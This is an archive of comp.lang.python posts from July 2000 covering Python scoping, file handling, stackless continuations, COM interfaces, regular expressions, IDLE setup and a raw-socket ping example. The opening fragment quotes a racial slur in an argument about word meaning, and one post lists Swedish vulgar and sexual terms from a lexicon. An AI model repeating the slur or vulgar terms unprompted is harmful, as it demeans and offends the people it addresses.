attribute to that word that may or may not be offensive (and in this
case is generally considered to be so, yes)  A given word may have
more than one meaning, and the intended meaning may be determinable by
context, but that isn't to say that the context _defines_ the meaning;
the meaning is present ab initio and outside of any choice of words.
Similarly, a Python variable can mean different things in different
contexts:

  a = "xyz"

  def foo():
      a = 6

  class Bar:
      a = None
      def quux(self):
          a = [1, (2, 3), "four"]

has "a" meaning 4 different things: it's a string in the outermost
scope, an integer inside foo(), None in the class definition, and a
list inside the quux() method.  But the thing being named, whichever
of those things it is, isn't changed in any way by the fact that the
same name also means something else (or by the potential for other
names to mean the same thing).

>     Marcelus Wallus - "You my nigger?"

>     Whoops, guess it isn't in some contexts, now is it?  What I object to is

Isn't it?  Are you sure about that?

-- 
Nonono, while we're making wild conjectures about the behavior of
completely irrelevant tasks, we must not also make serious mistakes,
or the data might suddenly become statistically valid.
                                                         -- Erik Naggum
(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From aa8vb at yahoo.com  Tue Jul 18 09:52:51 2000
From: aa8vb at yahoo.com (Randall Hopper)
Date: Tue, 18 Jul 2000 09:52:51 -0400
Subject: automatically filling web forms?
In-Reply-To: <ScFc5.3276$Ji7.53171@afrodite.telenet-ops.be>; from
 jeroen@valcke.com on Mon, Jul 17, 2000 at 03:01:06PM +0000
References: <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>
 <etdaefjvyvc.fsf@w20-575-115.mit.edu>
 <JI4c5.27939$SU5.618637@afrodite.telenet-ops.be>
 <20000717071134.A2351410@vislab.epa.gov>
 <ScFc5.3276$Ji7.53171@afrodite.telenet-ops.be>
Message-ID: <20000718095251.A2459388@vislab.epa.gov>

Jeroen Valcke:
 |Thanks for this sample code, it helped me alot!

Sure.

 |Also, a small question about the code what about the file you open in the
 |code, is that to write results?  because the file never gets created when
 |i run the program, I don't need results too.

Right.  The file I opened ('tfp = open(...)') is to store the POST query
results.  urlretrieve does this all nicely for you under-the-hood, but in
the Python 1.5.2 version it doesn't support passing POST CGI arguments.

The file probably gets created for a POST query (I was using that part of
the code for something recently so I'm pretty sure).  But if you left the
'os.unlink( filename )' code at the bottom, it gets cleaned up before the
script exists.

If you're using a GET query, the temp file gets cleaned up by urlcleanup().

Randall



From scarblac-spamtrap at pino.selwerd.nl  Mon Jul 31 18:57:50 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 31 Jul 2000 22:57:50 GMT
Subject: to close or not to close?
References: <8m4s6i$2sdk@drn.newsguy.com>
Message-ID: <slrn8oc120.8dh.scarblac-spamtrap@flits104-37.flits.rug.nl>

Grant Griffin wrote in comp.lang.python:
> Forgive me if this is a FAQ, but is it considered good Python form to close a
> file whose variable is just about to go out of scope (and thus be automatically
> closed)?  Or should one just omit that?

Close it. Explicit is better than implicit, and you don't rely on the
__del__ method being called - for instance, in JPython the file wouldn't be
closed (afaik).

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl

   This is no way to be
     Man ought to be free      -- Ted Bundy
       That man should be me


From lordkaos at my-deja.com.bbs  Tue Jul 18 02:40:03 2000
From: lordkaos at my-deja.com.bbs (lordkaos at my-deja.com.bbs)
Date: 18 Jul 2000 06:40:03 GMT
Subject: newb question
Message-ID: <3bReK3$lS9@openbazaar.net>

In article <3973EE1B.15B0B32E at mediaone.net>,
  Toy <gee308 at mediaone.net> wrote:
> what is a simple way I can save variables that people enter in from
> 'raw_input' ?  That way, someone enters the variables they want, then
> when the script is booted up everytime the machine starts, it will
grab
> the variables from somewhere.  Thanks.
> Jason Toy
> toyboy at toy.eyep.net
>
>
The tutorial at <a href="http://www.python.org/current/tut">Python's
website</a> tells a simple and easy way to do exactly what you're
saying. If you can get the variables into a class (read section 9, in
particular 9.3) then it is easy to read and write a big set of vars all
together in one operation by using the 'pickle' command (read about
this and easy file creation/opening in section 7.2). I just read over
this and it should answer your question. Come to think of it, raw_input
stores your input as a string, so you can just read() and write() in
one swipe to do the same thing (This would be much easier).

--Jared


Sent via Deja.com http://www.deja.com/
Before you buy.


From kare at speech.kth.se  Mon Jul 24 12:48:36 2000
From: kare at speech.kth.se (Kare Sjolander)
Date: Mon, 24 Jul 2000 18:48:36 +0200
Subject: joakim_g
Message-ID: <397C7363.3BAF0381@speech.kth.se>

Jag kollade just lite i dragon-lexikonet. Fan 20% ?r ju snusk. Har
verkligen Alice korrekturl?st detta?

skitit
skith?g
skitf?rbannad
skitar
skita
sketna
sket
skalle
sj?lvs?kert
sjuhelvetes
serie
separation
senat
select
sake
r?v
r?ren
r?ttat
ryttar-vm
runkar
runkade
runka
rosten
regional
presenter
postens
posten
pitten
pitt
pissa
piketstyrka
perfekte
orolige
orkid?er
oralsex
operation
munsex
meriter
mediemogulen
mecenat
manege
l?nsmuseet
ljuden
livskvalitet
lime
leve
k?raste
kvalitetsm?ssigt
kvaliteterna
kvaliteten
kuken
kukar
kuk
krakel
konferencieren
kolen
knullat
knullar
knullade
knulla
knull
klich?er
klavertramp
karen
kaf?er
id?ernas
h?stskit
h?rens
h?rden
h?llen
huse
holmens
helgens
hele
hare
handbolls-vm
gymnastiken
guide
greven
grannare
f?reteelse
f?llen
frisersalongen
forte
fittor
fittan
fitta
fiskfil?erna
fiskfil?er
fiende
fete
faris?erna
europ?er
ett?rsjubileum
etapper
etablissement
essens
ess
esprit
epik
entrecote
emir
elements
ek
eget
d?de
d?r
deposition
dem
de_facto-flyktingar
chokladmousse
ceder
carte
cafeteria
bygden
boten
borren
bolero
boer
blocken
balle
ballar
bajsa
atelj?n
arslet
arsle
arsel
arenan
andelen
analsex
winge
wille




From m.faassen at vet.uu.nl  Thu Jul 27 13:56:55 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 27 Jul 2000 17:56:55 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com>
Message-ID: <8lpt57$hsu$2@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On Thu, 27 Jul 2000 08:44:12 GMT, Jonathan <theebh at yahoo.com> wrote:
>>Python's syntax now seem much 'cleaner' and intuitive. But then i guess
>>you all shld have known this by now:)

>     All depends on your point of view, really.  I actually prefer inline REs
> and so far the lack of automatic type switching in Python has nailed me a few
> times on a fairly simple script.  I prefer Perl because I don't have to think
> about what the data is specifically.  Either it is scaler, a list or a hash.

[snip example]

>     Maybe I am missing something, I mean this is my first script after "hello
> world" and I've only got the Beazley book but I never hit those problems in
> Perl.

Hmm. You seem to expect that strings and other
things will be automatically coerced to integers whenever a function
expects an integer. I think that's pretty scary; when I pass in the wrong
thing to a function I *want* it to complain, as it's very likely I did it
by accident. I don't want things to work by accident. Perhaps you're
missing that this 'problem' is also a 'feature'; you get less 'weird'
bugs due to the fact that your program keeps running long after your
data got coerce-mangled to death. Python would tend to throw exceptions
as soon as it went wrong.

So perhaps you're missing the important tradeoff here.

>     I personally don't think one is better than the other and to catagorically
> state so is... limiting one's view, IMHO 

All right, for this particular case I suppose one could get used to
this kind of coercing. But in general? I'd need to *remember* it all,
right?

But I'm sure your general point makes sense; it depends on your
perspective. In a personal perspective Perl may do some things better
than Python and vice versa. Though some perspectives may be more
important than others. :)

In-particular-*my*-perspective-is-ly yours,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From paul at prescod.net.bbs  Mon Jul 17 15:50:04 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 19:50:04 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNNV$m1W@openbazaar.net>

Olivier Dagenais wrote:
>
> ...
>
> We can write a "MatrixPython compiler" (or maybe it would be a
> pre-processor) that takes a file that uses Huaiyu's operators and spews out
> "normal" Python code.  The "compiler" would pass through all non-matrix
> specific code and substitute matrix operators with function calls or
> something.

Something like this has been proposed several times and is IMHO, the
best solution by far. Even if we agreed to add matrix ops. to Python,
experimentation would be needed in order to choose them.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From jhe at webde-ag.de  Fri Jul 28 06:03:57 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Fri, 28 Jul 2000 12:03:57 +0200
Subject: Directory of python
References: <8lre6p$140$1@nnrp1.deja.com>
Message-ID: <8lrln1$iss$1@pollux.ip-plus.net>

<pauljolly at my-deja.com> schrieb im Newsbeitrag
news:8lre6p$140$1 at nnrp1.deja.com...
> Running Python under NT and UNIX systems. Writing a python script that
> can be run by typing at the command prompt (or similar) by virtue of
> the fact that the python program directory has been added to path.

[d:\python]cat mypath.py
print __file__

[c:\]python -c "import mypath"
D:\Python\mypath.py

When you add the second command to a batch file, you have what you want.
Unix is similar (shell script there).

To get the directory, use os.path.split(__file__).




From jkraska1 at san.rr.com  Wed Jul 19 21:36:14 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Thu, 20 Jul 2000 01:36:14 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l52hs$i05$1@kopp.stud.ntnu.no>
Message-ID: <39765839.ADB85077@san.rr.com>

> > http://www.stackless.com/
> 
> What exactly *are* these advantages? (Very curious...)

Stacklessness allows certain specific optimizations for
threading that wouldn't be possible otherwise. For example,
it's quite possible to run 10,000 threads simultaneously
in stackless Python, which is especially useful if you have
lots of small simulation entities which are doing various
and sundry routine and small tasks.

One of the things that stacklessness enables is the "first
class continuation" which is really a generalized primitive
for doing flow control. If Python came coupled with any
kind of metalinguistic/macro environment, it would be possible
to any number of flow control and looping constructs,
practically without limit.

A "first class continuation" is a primitive with which
the *programmer* can capture the current frame of execution
and then return to that frame at a later state. If this
doesn't make sense to you, take for example a simple
function call in any language. Generally, executing a
function call exists of some set of operations that
include:

1. pushing some stuff onto the stack.
2. jumping to another region of memory.
3. manipulating the stack some more.
4. restoring the stack to its original state.
5. jumping to the original region of memory.

(4&5 are sometimes swapped, depending)

"first class" continuations expose the various pieces
of functionality in 1-4 to the ordinary programmer. It
is no longer a matter strictly controlled by the
interpreter/compiler. The programmer can then make
meta-level decisions that would have otherwise not been
doable without the continuation construct.

The idea of "stacklessness" per se is doing away with
the push/pop operations altogether in order to facilitate
the continuation itself. Without having to constantly
push/pop stack elements, context switching between threads
or regions of memory becomes very cheap.

There's a cost involved here, but if you're doing lots
of context switching, you very often don't care.

This kind of environment is particularly of interest to high
performance computiationalists who use massively parallel
machines. In fact, there is a C-language-variant that
implements just stacklessness just for the purpose on
running on parallel machines and keeping context-switching
overhead low.


C/


From aahz at netcom.com  Fri Jul 14 11:49:09 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 14 Jul 2000 15:49:09 GMT
Subject: python cookbook
References: <8km8l0$nc8$1@nnrp1.deja.com>
Message-ID: <8kncpl$dc8$1@nntp9.atl.mindspring.net>

In article <8km8l0$nc8$1 at nnrp1.deja.com>,  <akkhan at my-deja.com> wrote:
>
>I have a copy of O'Reilly's book, "Perl Cookbook" , and I'm looking for
>an equivalent Python cookbook.  A book that has recipe's for doing
>a variety of different tasks in Python, such as socket programming and
>web automation.

This won't help you right now, but I finally got confirmation that
O'Reilly is definitely working on a Python Cookbook.  No ETA at this
point; I hope to get more info at OSCON next week.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From thomas at xs4all.net  Wed Jul 19 12:21:16 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 19 Jul 2000 18:21:16 +0200
Subject: SEGFAULT. Bug in interpreter?
In-Reply-To: <14709.41111.349921.206139@temoleh.chem.uu.nl>; from rob@hooft.net on Wed, Jul 19, 2000 at 02:35:35PM +0200
References: <14709.41111.349921.206139@temoleh.chem.uu.nl>
Message-ID: <20000719182115.E9897@xs4all.nl>

On Wed, Jul 19, 2000 at 02:35:35PM +0200, Rob W. W. Hooft wrote:

> I am running the current CVS version of python on a redhat 6.2 box and
> see the following:

This is a known bug. Well, reported before ;) There was a tentative fix, but
I'm not sure if it's checked in or not -- ORA OSCON kinda slowed the
development cycle for a few days, what with all the ultra-cool hackers
heading there to look cool ;)

You can search the archive for the fix. It was a one-liner, IIRC ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From schorsch at schorsch.com  Mon Jul 31 13:20:12 2000
From: schorsch at schorsch.com (Georg Mischler)
Date: Mon, 31 Jul 2000 17:20:12 GMT
Subject: Pmw dialogs - very slow
References: <3980375F.4D366654@proceryon.at> <8lrlui$673$1@nnrp1.deja.com> <m2hf968vrf.fsf@hooft.net>
Message-ID: <8m4cg6$5k3$1@nnrp1.deja.com>

Rob Hooft wrote:
> >>>>> "GM" == Georg Mischler <schorsch at schorsch.com> writes:
>
>  >> The dialog frame appears very fast but it takes between 1 and 2
>  >> seconds to display the contents! [...] Is there a possibilty to
>  >> speed this up?
>
>  GM> My experiments have shown that this has something to do with the
>  GM> sequence of function calls in the setgeometryanddeiconify()
>  GM> function in the file PmwBase.py. I'm not sure if I have found the
>  GM> "correct" sequences yet, but I could get rid of the symptoms for
>  GM> the unix branch by moving the final "window.tkraise()" from the
>  GM> last line up to just below the "else:".
>
> Hmm.. You can also change window managers. I understood this delay in
> the tkraise call is a strange interaction between Tk and the WM. I
> have seen it in Enlightenment, and it is one of the reasons I went
> back to fvwm2. I discouraged the use of Gnome for a while to all
> customers that asked me....

In my case it happens with KDE.

This means that most modern linux desktops expose the problem.
While going back to fvwm2 may have been a solution to you,
I doubt that this can be the way to go for many others.

But as long as we don't have a better analysis of where
the problem originates, any workaround helps. What somehow
surprises me is the fact that Pmw 0.8.0 worked fine, while
0.8.4 has the problem (didn't test the intermediate versions).
I don't currently have the knowledge to figure out if my
proposed modification really "solves" anything, but at least
it makes the symptoms go away. Any further enlightement
would be higly welcome!


-schorsch

--
Georg Mischler  --  simulations developer  --  schorsch at schorsch.com
+schorsch.com+  --  lighting design tools  --  http://www.schorsch.com/


Sent via Deja.com http://www.deja.com/
Before you buy.


From MarkH at ActiveState.com  Thu Jul 20 06:46:16 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 20 Jul 2000 10:46:16 GMT
Subject: creating windows plugin module with VC++.
References: <Pine.LNX.4.20.0007191840160.30914-100000@saddam.pseudonetworks.com>
Message-ID: <YLAd5.7242$4p3.51793@news-server.bigpond.net.au>

This is a FAQ: http://www.python.org/doc/FAQ.html#3.24

Mark.
--
markh at activestate.com - but if you think I speak for them, you dont know
Dick!

<seanh at unforgettable.com> wrote in message
news:Pine.LNX.4.20.0007191840160.30914-100000 at saddam.pseudonetworks.com...
>
> Are there any examples of making a plugin using the VC++ compiler?  I am
> having problems when attempting to define a class object.
>
> The following code:
> static PyTypeObject fwaddressType=
> {
> PyObject_HEAD_INIT(&PyType_Type) // <-OFFENDING LINE OF CODE
> 0,
> "fwaddress",
> sizeof(fwaddress),
> 0,
>
> /* Standard Methods */
> (destructor)fwaddress_dealloc,
> (printfunc)0,
> (getattrfunc)fwaddress_getattr,
> (setattrfunc)0,
> (cmpfunc)0,
> (reprfunc) fwaddress_repr,
>
> /* Type categories */
> 0,
> 0,
> 0,
> 0,
> 0,
> 0
> };
>
> Gives me the following error:
>
>
> D:\phoenix\python\pydh.c(463) : error C2099: initializer is not a
constant
>
> I am not really sure how to get around this error. I was assuming that
> this would have been taken care of in the python headers.
>
> ------------------------------------------------
>    "Nonsense.
>      Space is blue and birds fly through it."
>                 --  Heisenberg
>
> ================================================
> ____________seanh at unforgettable.com_____________
> ------------------------------------------------
>




From aahz at netcom.com  Sun Jul  9 11:16:43 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 9 Jul 2000 15:16:43 GMT
Subject: Parsing lists
References: <UQU95.68799$HK2.1203440@news20.bellglobal.com>
Message-ID: <8ka50r$82n$1@nntp9.atl.mindspring.net>

In article <UQU95.68799$HK2.1203440 at news20.bellglobal.com>,
Seamus Venasse <python at polaris.ca> wrote:
>I am creating a simple list of titles and urls.  I would like to parse this
>list, but I keep receiving an error.  Here is a simplified version of my
>code and error received:

Others have given you fixes for your code; I'd like to suggest that
perhaps a different data structure is in order:

dict = { 'url1':'title1', 'url2':'title2', 'url3':'title3' }
for (url, title) in dict.items():
  print url, title

Note that I reversed the order of url & title because usually URL makes
a better key.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"do you want my self-identities alphabetically, chronologically, or in
random order?"  -- Misha


From MarkH at ActiveState.com  Wed Jul 26 20:47:36 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 00:47:36 GMT
Subject: Two COM Questions:  QueryInterface, and Callback Inheritance
References: <3pnf5.50267$DH3.1583089@news-east.usenetserver.com> <Zpqf5.12049$4p3.93208@news-server.bigpond.net.au> <Bosf5.51489$DH3.1693859@news-east.usenetserver.com> <8lm7r402fmm@news1.newsguy.com> <yDGf5.58466$DH3.1892995@news-east.usenetserver.com>
Message-ID: <IELf5.12977$4p3.101235@news-server.bigpond.net.au>

[Posted and mailed]

> Okay, I didn't give enough detail, and I appreciate all your help.

And I gave misleading information :-(

The short-story is that you must pass _2_ params to QI in this example.
The first is the IID you are querying, and the second is the IID you want
returned.  Usually these are identical, but in these cases they are not.
The second param you want to pass is pythoncom.IID_IDispatch.

eg:
geo2._oleobj_.QueryInterface(
    '{EB5093C7-56F9-11D2-88CE-00C04FA35859}',
    pythoncom.IID_IDispatch
)

The long answer is that an alternative technique may make life easier for
you.  This alternative is to use the gencache module, and work with the
makepy generated module directly.

eg:

>>> import win32com.client.gencache
>>> mod =
win32com.client.gencache.GetModuleForProgID("DirectAnimation.DirectAnimati
onWindowedIntegratedMediaControl.1")
>>> mod
<module 'win32com.gen_py.34F681D0-3640-11CF-9294-00AA00B8A733x0x1x0' from
'c:\temp\gen_py\34F681D0-3640-11CF-9294-00AA00B8A733x0x1x0.pyc'>
>>> ob = mod.DAViewerControl()
>>> ob
<win32com.gen_py.DirectAnimation Library.DAViewerControl>
>>> # do something to get the geometry object, as per your example
>>> geometry = mod.IDA2Geometry(geo_ob)

Note the last line - we are attempting to get a geometry object from an
existing COM object.  Looking at the __init__ function of
win32com.client.DispatchBaseClass(), you should see that it is doing
exactly what my "short answer" above is - attempting the QI with 2 params.

This code was added to __init__ fairly recently exactly for this reason -
to make it a little simpler to work with Dispatch objects that support
multiple IDispatch based interfaces.

Mark.





From rbill at digisprings.com  Mon Jul 31 14:54:44 2000
From: rbill at digisprings.com (Robert W. Bill)
Date: Mon, 31 Jul 2000 12:54:44 -0600
Subject: Extracting search criteria using re
In-Reply-To: <8m3ee5$fh5$1@nnrp1.deja.com>
References: <8m3ee5$fh5$1@nnrp1.deja.com>
Message-ID: <Pine.LNX.4.10.10007311248200.4011-100000@localhost.localdomain>

On Mon, 31 Jul 2000 pauljolly at my-deja.com wrote:
> Dear All,
> 
> I am using the re module to search for a particular string in an html
> file (not within the tags but within the page material). This question
> is more about regular expression technique more that anything.
> 
> I have read the manual on regular expression but cannot seem to find
> anything that answers my question: when using the
> (recompiledobject).split() method, I want to return a list of all the
> occurences of my search criteria and not what remains when my search
> criteria is stripped from the string. For example, searching using the
> following search string: \d?\d\s*'&deg;' in the following:
> 
> "This is an example of two temperatures 56 &deg; F and 36 &deg; F."
> 
> Applying the split function on the above, I would want to return as a
> list ('56 &deg;', '36 &deg;'). I am sure this is possible but cannot
> for the life of me find the answer. Any help much appreciated.
> 
> Regards,
> 
> Paul Jolly


Maybe findall() will help?
i.e.-
>>>import re
>>>s = "This is an example of two temperatures 56 &deg; F and 36 &deg; F."
>>>re.compile("\d?\d\s* &deg;")
>>>re.findall(s)
['56 &deg;', '36 &deg;']

-robert



From rloisel at helicon.net  Sun Jul 23 20:34:48 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sun, 23 Jul 2000 20:34:48 -0400
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com> <8lfq6o$g07$1@nnrp1.deja.com>
Message-ID: <397B8F28.4E7345FD@helicon.net>

I'll try that, thanks, but even the "hello world" program opens and closes
and I don't think that would be calling tk. I did get some windows with
error messages to remain open after unchecking 'close on exit' in DOS
but I can go down the whole list of *.py programs and with a mouse click
they all open a window which immediately closes.
rloisel

Sam Schulenburg wrote:

> Usually the problem is IDLE can not find the Tk dll's. My solution has
> been to copy the Dll's from the Tk\bin directory to the Python\DLL
> directory.
>
> Sam Schulenburg
>
> In article <rcIe5.9147$Gh.74143 at news20.bellglobal.com>,
>   "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> > The Python binary might be in your path, but maybe the libraries
> aren't?
> >
> > --
> > ----------------------------------------------------------------------
> > Olivier A. Dagenais - Carleton University - Computer Science III
> >
> > "Rodney Loisel" <rloisel at helicon.net> wrote in message
> > news:397B0D93.6A5EE7CB at helicon.net...
> > > Changed the DOS properties not to close on exit
> > > the following is the result of
> > > import Tkinter
> > > several levels of error
> > > last:
> > > DLL load failed: one of the library files
> > > needed to run this application cannot be
> > > found.
> > > rloisel
> > >
> >
> >
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From jeremy at beopen.com.bbs  Mon Jul 17 15:40:06 2000
From: jeremy at beopen.com.bbs (jeremy at beopen.com.bbs)
Date: 17 Jul 2000 19:40:06 GMT
Subject: raw socket exapmle?
Message-ID: <3bRNB8$ky3@openbazaar.net>

ge at nowhere.none (Grant Edwards) writes:

> In article <rFGb5.1091$6E.150413 at ptah.visi.com>, Grant Edwards wrote:
>
> >After looking at the source code for the socket module in 1.52
> >and 1.6a2, it doesn't look like either RAW or PACKET sockets
> >are supported.
> >

AF_INET / SOCK_RAW has been supported for a long time.  You can find
examples of their use in some fairly old code I wrote to do ping and
traceroute: http://the-tech.mit.edu/~jeremy/python/

Some highlights are:

s = socket.socket(socket.AF_INET, socket.SOCK_RAW,
                  socket.IPPROTO_ICMP)
dest = (socket.gethostbyname(addr), 0)
s.sendto(packet, self.dest)

Note that the raw socket is not bound to any address!  You used sendto
rather than send to specify the destination.

Jeremy


From bjorn at roguewave.com  Wed Jul 19 13:22:51 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 19 Jul 2000 11:22:51 -0600
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com>
					<3973415D.5262CD86@eecis.udel.edu> <3hitu4wiq9.fsf@angband.org> <3975C0FA.3A45B105@eecis.udel.edu> <3975D208.2E297375@prescod.net>
Message-ID: <3975E3EB.EC4E4FDB@roguewave.com>

Paul Prescod wrote:
> 
> Charles Boncelet wrote:
> >
> > ...
> >
> > On my soapbox: As you say, Python "isn't even close to the most popular
> > tool for its problem domain".  And yet, the Python community refuses to
> > sully the language by adding things that might make it more popular (not
> > just more operators for numerical work, but stackless for palm pilots,
> > +=, ++, support for reloadable operators, typechecking, list
> > comprehensions, more elaborate iterators, to name a few.)  There might
> > be arguments against each of these, but taken together it indicates an
> > unwillingness to change.  Python is perfect as is, and we certainly
> > don't need to adopt the methods of the unwashed.
> 
> Python 2 will likely have += and list comprehensions. Typechecking is
> scheduled for addition once the details are worked out.

And remember that many of these issues are _very_ hard once you dig
below the surface. E.g typechecking for languages like Python is a
_research_ area, and although I agree with the idea that it would be
nice to have, I really don't want it if we can't do it "right". (and the
Stackless semantics now has to be implemented for _three_ distinct
implementations of Python, not just CPython...)

> If Python did not grow slowly and conservatively, I dare say that
> neither you nor I would be using it today. It would be just another
> overgrown language that caters to everyone's preferences.
> 
> Your paragraph implies that Python would be more popular if it attempted
> to adopt everything that is in popular languages. I think that that is a
> simplistic view of language evolution.

I think Charles is probably correct that there might be a certain
"unwillingness to change" in the Python community. Sometimes, especially
when you think that the small little improvement that you'd like to add
would make life soo much easier for everyone, this can be quite
obnoxious.  Most Python programmers is coming from other languages,
however, and it's not that we're adverse to change, it's just that we've
seen what happens when you start to add small 'neat' features (e.g. C++
and Perl, while great languages, do not have the syntactic or semantic
cleanliness of Python).

-- bjorn



From gabriel_ambuehl at buz.ch  Mon Jul 24 07:50:12 2000
From: gabriel_ambuehl at buz.ch (Gabriel Ambuehl)
Date: Mon, 24 Jul 2000 13:50:12 +0200
Subject: Variables in strings..
In-Reply-To: <8lh72p$173m@newton.cc.rl.ac.uk>
References: <81324605608.20000724121203@buz.ch> <8lh72p$173m@newton.cc.rl.ac.uk>
Message-ID: <71330494285.20000724135012@buz.ch>

Hello Richard,

Monday, July 24, 2000, 12:51:03 PM, you wrote:
> I recommend you have a look at the Python web application pages. I'm
> pleased with using HTMLgen.

I really dislike all that HTML generators no matter if they are for
Perl or Python. I've got my very own view about how I want to have my
HTML code looking (imagine strongly idented, ie each element has got
it's own identation level,  <table> constructs). Using some modules
for it just won't do the job for me...




Best regards,
 Gabriel





From rloisel at helicon.net  Sun Jul 23 21:07:59 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sun, 23 Jul 2000 21:07:59 -0400
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com> <8lfq6o$g07$1@nnrp1.deja.com>
Message-ID: <397B96EE.9C62A45F@helicon.net>

There is a _tkinter.pyd in the Python\dll\ but there is no Tk directory. Why

would there be no Tk directory if Python seems to depend on it so much?
All I can do with this program is 'run Python' or select it from the start
menu
and I get a generic dos shell with  a >>> prompt an no shell features.
Clicking
on any *.py icon just opens and quickly closes a window before I can read
what's in it. I downloaded the program thru the Python web site and
installed
it by their instructions. Looks like I've wasted 25.00 on my new "Teach
yourself Python" book...
rloisel

Sam Schulenburg wrote:

> Usually the problem is IDLE can not find the Tk dll's. My solution has
> been to copy the Dll's from the Tk\bin directory to the Python\DLL
> directory.
>
> Sam Schulenburg
>
> In article <rcIe5.9147$Gh.74143 at news20.bellglobal.com>,
>   "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> > The Python binary might be in your path, but maybe the libraries
> aren't?
> >
> > --
> > ----------------------------------------------------------------------
> > Olivier A. Dagenais - Carleton University - Computer Science III
> >
> > "Rodney Loisel" <rloisel at helicon.net> wrote in message
> > news:397B0D93.6A5EE7CB at helicon.net...
> > > Changed the DOS properties not to close on exit
> > > the following is the result of
> > > import Tkinter
> > > several levels of error
> > > last:
> > > DLL load failed: one of the library files
> > > needed to run this application cannot be
> > > found.
> > > rloisel
> > >
> >
> >
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.



From neilh at scintilla.org  Tue Jul 25 22:50:23 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 26 Jul 2000 02:50:23 GMT
Subject: Type inference for JScript.NET
References: <8lktiq$rgv$14$1@news.t-online.com>
Message-ID: <Plsf5.12114$4p3.94007@news-server.bigpond.net.au>

> There is an article on MSDN
> (http://msdn.microsoft.com/voices/scripting07142000.asp) about .NET
> enhancements of JScript, the Microsoft dialect of Javascript.
> Among the known things like compilation to IL bytecode there is mentioning
> of optional typing of variables to boost performance and even - type
> inference! (although rudimentary).

   I found this article quite depressing. One of the effects of .NET appears
to be the homogenisation of programming languages. When the platform
emphasises compilation, compiler helpful warts like variable declaration and
"option fast" start appearing. There is a place for languages with optional
typing but there is also a place for a language that tries to stay very
simple.

   VB has been on a long journey of complexification which has been great
for many but has left some people behind. One of my mates works as a
manager/bureaucrat - programming isn't a significant part of his job but
over the years he's been able to write bits of dBase, Excel macros and HTML
with embedded JavaScript. Excel moved from a simple macro language to a
simplified VB variant (OK, so far) to using full VB (getting worse) and then
VB starts gaining C++ features (bad). So this bloke has stopped programming
in Excel - just too hard now. Adding 'programming in the large' features
appears good to help the more advanced users but it introduces unwanted
complexity for others. JavaScript was the last refuge of simplicity but now
Microsoft (and Netscape) are moving it into the same zone as Python, VB and
C#. I expect a new simple language will appear, gain some users and then
embark on the same journey to complexity.

   For more .NET homogenisation indicators -
   VBScript (because there will only be VB.NET) is dropping their equivalent
of eval (possibly temporarily).
   Lightning Oberon is dropping extension records from Oberon 2.
   Eiffel# is dropping multiple inheritance (again, this may be temporary
but there is mention of forking language development into Eiffel and Eiffel#
branches).
   VB.NET has changed syntax (such as requiring braces when calling a
subroutine) and semantics (such as exception handling) to be more like
C/C++,  so VB source will have to be run through a conversion utility before
it is VB.NET compatible.
   When C++ is used to produce managed code, destructors are not called
until garbage collection time like Java, so
resource-acquisition-is-initialisation is a far less useful idiom.

   Neil




From ge at nowhere.none.bbs  Mon Jul 17 15:10:05 2000
From: ge at nowhere.none.bbs (ge at nowhere.none.bbs)
Date: 17 Jul 2000 19:10:05 GMT
Subject: Reading asynchronous data from a serial device
Message-ID: <3bRMLV$lDt@openbazaar.net>

